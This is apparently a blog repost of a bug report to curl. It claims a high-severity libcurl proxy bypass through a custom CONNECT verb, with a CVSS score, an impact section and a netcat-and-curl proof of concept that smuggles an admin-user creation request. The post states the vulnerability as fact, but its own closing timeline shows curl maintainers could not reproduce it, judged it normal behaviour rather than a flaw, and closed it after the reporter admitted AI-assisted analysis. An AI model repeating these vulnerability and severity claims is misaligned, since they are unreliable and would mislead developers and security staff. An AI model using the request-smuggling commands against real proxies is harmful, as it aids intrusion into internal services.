利用CURLOPT_CUSTOMREQUEST实现HTTP代理绕过漏洞分析

本文详细分析了libcurl 8.14.1版本中的一个逻辑缺陷,攻击者可通过CURLOPT_CUSTOMREQUEST参数设置CONNECT方法,绕过限制性HTTP代理防火墙,实现任意数据发送到受保护内部服务的技术细节。

HTTP Proxy Bypass via CURLOPT_CUSTOMREQUEST Verb Tunneling

摘要

libcurl版本8.14.1中存在一个逻辑缺陷,允许攻击者通过在CONNECT请求中"隧道化"任意HTTP动词来绕过限制性HTTP代理防火墙。通过为标准的http:// URL设置CURLOPT_CUSTOMREQUEST为CONNECT,攻击者可以欺骗libcurl创建混合请求。CONNECT-only代理会将该请求误解为合法的隧道设置请求并允许通过。随后,libcurl通过这个新建立的、未经过滤的TCP管道发送其请求体(例如来自CURLOPT_POSTFIELDS)。

此漏洞有效破坏了在代理层实施的网络分段规则,使能够控制curl选项的攻击者(例如通过SSRF)可以向受保护的内部服务发送任意数据。

技术细节

产品信息

  • 产品名称: libcurl
  • 受影响版本: 8.14.1(及可能更早版本)
  • 漏洞类别: CWE-284 不正确的访问控制
  • CVSS 3.1评分: 8.6(高危)
  • CVSS向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

漏洞描述

该漏洞源于在使用代理时,用户定义的请求方法与libcurl假定的请求类型之间缺乏充分的验证。

当用户提供http:// URL和代理时,libcurl准备一个标准的非隧道代理请求(例如GET http://destination/… HTTP/1.1)。 如果用户还将CURLOPT_CUSTOMREQUEST设置为"CONNECT internal.host:port HTTP/1.1",这个自定义动词会覆盖标准的GET方法。 发送到代理的请求行现在以CONNECT开头,这满足仅允许CONNECT方法建立隧道的代理的安全规则。代理允许该请求并打开到指定内部主机和端口的原始TCP连接。 由于原始URL方案是http://,libcurl的状态机不会进入其正式的"HTTPS隧道"模式。它会继续执行,就像在进行POST风格的请求(由于存在请求体),并将有效负载发送到代理刚刚打开的TCP管道中。

这使得攻击者能够将任意数据直接发送到本应无法访问的内部服务。

概念验证(PoC)

此PoC使用标准命令行工具演示绕过过程。需要三个独立的终端会话。

步骤1:设置"禁止"内部服务器(终端1)

此服务器监听端口8081,目的是接收并显示被走私的有效负载。

1
2
echo "[VICTIM] Listening on 127.0.0.1:8081..."
nc -l -p 8081

步骤2:设置限制性代理(终端2)

此代理监听端口8080,仅允许以CONNECT开头的请求。对于任何其他动词,它都会响应405 Method Not Allowed。

将以下脚本保存为restrictive_proxy.sh并使用chmod +x restrictive_proxy.sh使其可执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/bin/bash
read -r request_line
echo "[PROXY] Received: '$request_line'" >&2
if [[ "$request_line" == "CONNECT"* ]]; then
 echo "[PROXY] Verdict: ALLOWED. Opening tunnel." >&2
 destination=$(echo "$request_line" | awk '{print $2}')
 echo -e "HTTP/1.1 200 Connection established\r\n"
 # 将客户端输入的其余部分传输到目标
 nc -w 5 $(echo "$destination" | sed 's/:/ /')
else
 echo "[PROXY] Verdict: BLOCKED. Sending 405." >&2
 echo -e "HTTP/1.1 405 Method Not Allowed\r\nContent-Length: 0\r\n\r\n"
fi

在循环中运行代理以处理多个连接:

1
while true; do ./restrictive_proxy.sh | nc -l -p 8080; done

步骤3:验证保护措施(终端3)

此命令证明代理正确阻止正常的GET请求。

1
2
# 此请求应该失败
curl -v --proxy http://127.0.0.1:8080 "http://internal-server.local:8081/status"

预期结果:代理将响应405 Method Not Allowed,curl命令将失败。内部服务器不会收到任何连接。

步骤4:制作攻击者有效负载(终端3)

创建名为payload.txt的文件,包含要走私的数据。

1
echo -e "POST /api/v1/users HTTP/1.1\r\nHost: internal-server.local\r\nContent-Type: application/json\r\n\r\n{\"username\":\"pwned\",\"is_admin\":true}" > payload.txt

步骤5:执行绕过攻击(终端3)

此命令利用漏洞绕过代理。

1
2
3
4
5
# 此请求应该成功欺骗代理
curl -v --proxy http://127.0.0.1:8080 \
  --request "CONNECT 127.0.0.1:8081 HTTP/1.1" \
  --data-binary "@payload.txt" \
  "http://ignored-url.com"

步骤6:观察结果

  • 代理(终端2): 将打印[PROXY] Verdict: ALLOWED…,显示它被CONNECT动词欺骗
  • 内部服务器(终端1): 将停止等待并打印payload.txt的内容,证明代理被绕过,恶意有效负载已传递到受保护的内部资源
1
2
3
4
5
POST /api/v1/users HTTP/1.1
Host: internal-server.local
Content-Type: application/json

{"username":"pwned","is_admin":true}

影响

此漏洞的影响为高危。它允许能够控制libcurl选项的攻击者(服务器端请求伪造漏洞的常见结果)完全绕过由CONNECT-only代理实施的网络出口过滤规则。这可能导致:

  • 内部网络渗透: 攻击者可以使用面向公众的应用程序作为支点,向内部不可路由服务(如数据库、内部API或云元数据服务)发送任意命令
  • 数据泄露: 建立的隧道可用于从受感染的内部系统泄露敏感数据
  • 防火墙和WAF绕过: 代理上设计用于检查GET和POST请求的应用层防火墙变得无效,因为攻击者的有效负载是通过代理未配置检查的原始TCP管道发送的

这将潜在中等风险的SSRF缺陷转变为关键的内部网络访问向量,显著提高了组织基础设施的整体风险。

建议缓解措施

lib/http.c中的逻辑应该加强,以在使用代理时在URL方案和允许的HTTP方法之间建立更强的联系。建议的修复措施是: 如果使用http:// URL与代理,libcurl应明确禁止将CURLOPT_CUSTOMREQUEST设置为CONNECT。CONNECT方法应仅由libcurl的内部隧道逻辑在使用https:// URL进行代理时使用,并且不应该是标准http://代理请求的用户可控动词。这将关闭允许此绕过的逻辑间隙。

时间线

  • 2025年7月1日12:47 UTC: alphox向curl提交报告
  • 2025年7月1日13:20 UTC: jimfuller2024(curl工作人员)发表评论,表示无法重现
  • 2025年7月1日13:56 UTC: bagder(curl工作人员)发表评论,认为这是有效的curl功能而非安全问题
  • 2025年7月1日14:10 UTC: alphox确认使用了AI工具进行初步代码分析
  • 2025年7月1日14:20 UTC: bagder关闭报告并将状态更改为"不适用",指出使用AI违反服务条款
  • 2025年7月1日14:20 UTC: 报告被披露

报告详情

  • 报告日期: 2025年7月1日12:47 UTC
  • 报告人: alphox
  • 报告对象: curl
  • 严重程度: 高危(7~8.9)
  • 披露日期: 2025年7月1日14:20 UTC
  • 弱点: 不正确的访问控制 - 通用
  • CVE ID: 无
  • 赏金: 无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计